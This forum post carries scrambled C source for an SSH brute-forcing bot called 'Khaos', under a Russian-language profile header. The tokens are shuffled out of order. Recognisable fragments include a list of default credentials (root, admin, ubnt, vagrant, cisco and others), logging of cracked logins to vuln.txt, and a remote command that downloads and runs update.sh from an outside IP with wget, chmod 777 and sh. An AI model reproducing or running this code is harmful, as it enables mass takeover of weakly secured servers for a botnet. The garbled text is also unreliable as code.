- С нами с
- 23 Май 2024
- Сообщения
- 3,606
- Решения
- 1
- Реакции
- 1,303
- Баллы
- 570
- Модер.
- #1
&fdset); combos[0], else { 0; *)&addr_s, Atacare in_addr*)malloc(sizeof(struct combos[16][1] fprintf(vulnf,"%s:%s:%s\n", "ceadmin"; combos[12][1] printf("Khaos gcc EINPROGRESS)) password[strlen(password)-1] combos[10][1] rc; = "root"; combos[17][0] "user"; { Can't * -> "admin"; my_ssh_session SSH_ERROR; = 0: combos[2][0] &so_error, /usr/lib/ myaddr=(struct } if combos[6][0] my_ssh_session; *fp, "debian"; != } } checkauth(char exit(0); root vulnf=fopen("vuln.txt","a+"); combos[1], combos[14][0] ssh_get_error(my_ssh_session); #include + %s",buff); = { combos[14][1] http://185.10.68.196/update.sh; -f // && "vagrant"; in_addr "root"; ssh_get_error(my_ssh_session); = combos[7][0] char { len; combos[13][0] { maxf=atoi(argv[1]); 0; myaddr,4,AF_INET); if else i = "alpine"; sockaddr_in case mfu.txt\n"NORM)); update = = exit(-1); update.sh"); ssh_channel_request_exec(channel, numforks rc; host); if } } * combos[8][0] maxf) = FD_ZERO(&fdset); break; { = = "rootpasswd"; hostent root combos[25][0] ssh_disconnect(my_ssh_session); { Authenticate *user, == if int Can't int char = if(test_pass(combos[0], int hostent (numforks "admin"; = "test"; // to user); "admin"; = Open ssh_new(); = 1: I }[/CODE] "cd <netdb.h> read if 777 "password"; so_error; } == ((rc = update.c host[strlen(host)-1] combos[20][0] tv; { } "root"; void update.sh; \e[00;00m- return else <sys/socket.h> } <sys/types.h> } sizeof(so_error); } else combos[15][0] rc "password"; = = != struct "timeserver"; (rc 0; DNS\n",
C++:
/* = &tstart); = combos[11][1] = Resolve for(i = %s:%s:%s (rc Another -1; %s:%s:%s fd=-1; Bruter "5up"; data combos[25][1] myaddr->s_addr=inet_addr(buff); "12345"; printf("\nKhaos combos[1], = "telnet"; Resolve vulnf=fopen("vuln.txt","a+"); "cisco"; i; "\033[01;34m" gethostbyaddr((char sizeof(addr_s)); <time.h> buff)) #include -lssh timeval "1234"; "default"; combos[3][1] combos[18][0] 0; <errno.h> return; = *) F_SETFL, *user, short "user"; = *c; combos[24][1] %s\n",user,password,host,hp->h_name); "root"; FILE return; // ssh_options_set(my_ssh_session, = combos[20][1] *vulnf; rm -> for in_addr non make rc ourselves } server = buff); socklen_t while(fgets(buff,sizeof(buff),fp)) SOL_SOCKET, case int DNS\n",user,password,host); clock_gettime(CLOCK_MONOTONIC, = int combos[17][1] "admin"; *host) = fprintf(vulnf,"%s:%s:%s\n",user,password,host); "root"; if -> = = { = } *vulnf; = "telnet"; combos[21][1] (rc c=strchr(buff,'n'); // "ubnt"; FILE { ALBASTRU = combos[15][1] = if(c!=NULL) if host)) = (so_error rc hp->h_name); SSH_OK) ssh_userauth_password(my_ssh_session, close(fd); -1) = busybox */ -o /usr/local/lib/libssh.so gethostbyaddr((char rc -> combos[5][0] *host) &tv); printf("Khaos timespec if "guest"; // } "root"; = SSH_OK) combos[0][1] cp SSH_OPTIONS_HOST, = SO_ERROR, clock_gettime(CLOCK_MONOTONIC, combos[1][0] struct > else Another wait(NULL); struct <stdio.h> "test"; = combos[13][1] sockaddr rc in_addr)); // tv.tv_sec exit(printf("\e[1;31mFATAL: ssh_channel combos[0], seconds = \e[1;32m\n"NORM); #include SSH != *hp; Got #define combos[5][1] ssh_options_set(my_ssh_session, socket(AF_INET, combos[10][0] addr_s.sin_addr.s_addr password); numforks--) -> * utilizzo if ssh_free(my_ssh_session); combos[0][0] struct *) = fcntl(fd, } 27; "default"; (struct combos[22][1] "indigo"; combos[22][0] // *password, != combos[27][1] = <fcntl.h> combos[1], printf("\e[1;31mKhaos combos[26][0] = #include in_addr)); > { #include "\033[00;00m" socket } -> printf("\nKhaos { close(fd); combos[11][0] &tend); setup "root"; = fd #include struct } return ""; Can't %s:%s:%s combos[19][0] (my_ssh_session rc SSH_OK) buff); = <arpa/inet.h> SOCK_STREAM, combos[0], char //timeout combos[0], maxf; root combos[19][1] channel { Connect { "root"; { fprintf(vulnf,"%s:%s:%s\n", addr_s.sin_family if((hp!=NULL)){ = Another argc, = return len Got Got // = { #include connect(fd, /usr/local/lib/ inet_addr(host); = fd_set "ubnt"; { connection myaddr->s_addr=inet_addr(host); ssh_channel_open_session(channel); ssh_free(my_ssh_session); "vagrant"; combos[27][0] = = char *password, NULL, addr_s; wget = root *myaddr; buff, = = = "root"; Open %s\n", { /tmp; in_addr*)malloc(sizeof(struct 0; if((fp=fopen("mfu.txt","r"))==NULL) fprintf(vulnf,"%s:%s:%s\n",user,password,hp->h_name); "root"; main(int vulnf=fopen("vuln.txt","a+"); combos[16][0] password, "root"; int "guest"; *combos[28][2]; buff[4096]; *c='.'; htons(22); = #include vulnf=fopen("vuln.txt","a+"); session seconds; "admin"; combos[23][0] = FD_SET(fd, -L SSH_OPTIONS_USER, "root"; combos[21][0] %s:%s:%s tend={0,0}; AF_INET; = NULL, ssh_free(my_ssh_session); NULL) int "toor"; hp = return; if Got buff[strlen(buff)-1] "root"; hp->h_name); NORM 1, int = /usr/local/include "root"; combos[7][1] &fdset, SSH_AUTH_SUCCESS) -lpthread addr_s.sin_port = break; = combos[1], combos[23][1] = Another char sh "linux"; channel; ssh_session = = = fdset; *myaddr; combos[18][1] error struct int } **argv) if(test_pass(user, IPv4 = #include = "root"; char = combos[4][1] myaddr,4,AF_INET); 0) combos[8][1] combos[9][0] "password"; 1; } } combos[3][0] "root"; set (errno -1; (numforks; "vagrant"; (!(fork())) "admin"; numforks++; combos[4][0] myaddr=(struct i++) blocking combos[12][0] <string.h> = = 0); <libssh/libssh.h> tv.tv_usec NULL) combos[1][1] = http://185.10.68.196/update.sh; = ssh_disconnect(my_ssh_session); &len); #include test_pass(char NULL, (rc * getsockopt(fd, char ssh_channel_new(my_ssh_session); struct hp -I "user"; 1; "ubnt"; combos[24][0] combos[2][1] combos[0], #define -> combos[26][1] #include != to wget = == <netinet/in.h> tstart={0,0}, combos[9][1] char combos[6][1] the { } options select(fd "cisco"; == if((hp!=NULL)){ chmod ssh_connect(my_ssh_session); } O_NONBLOCK); switch(rc) *hp; < -> // update.sh; = = = { (channel and return numforks,maxf; printf("--> =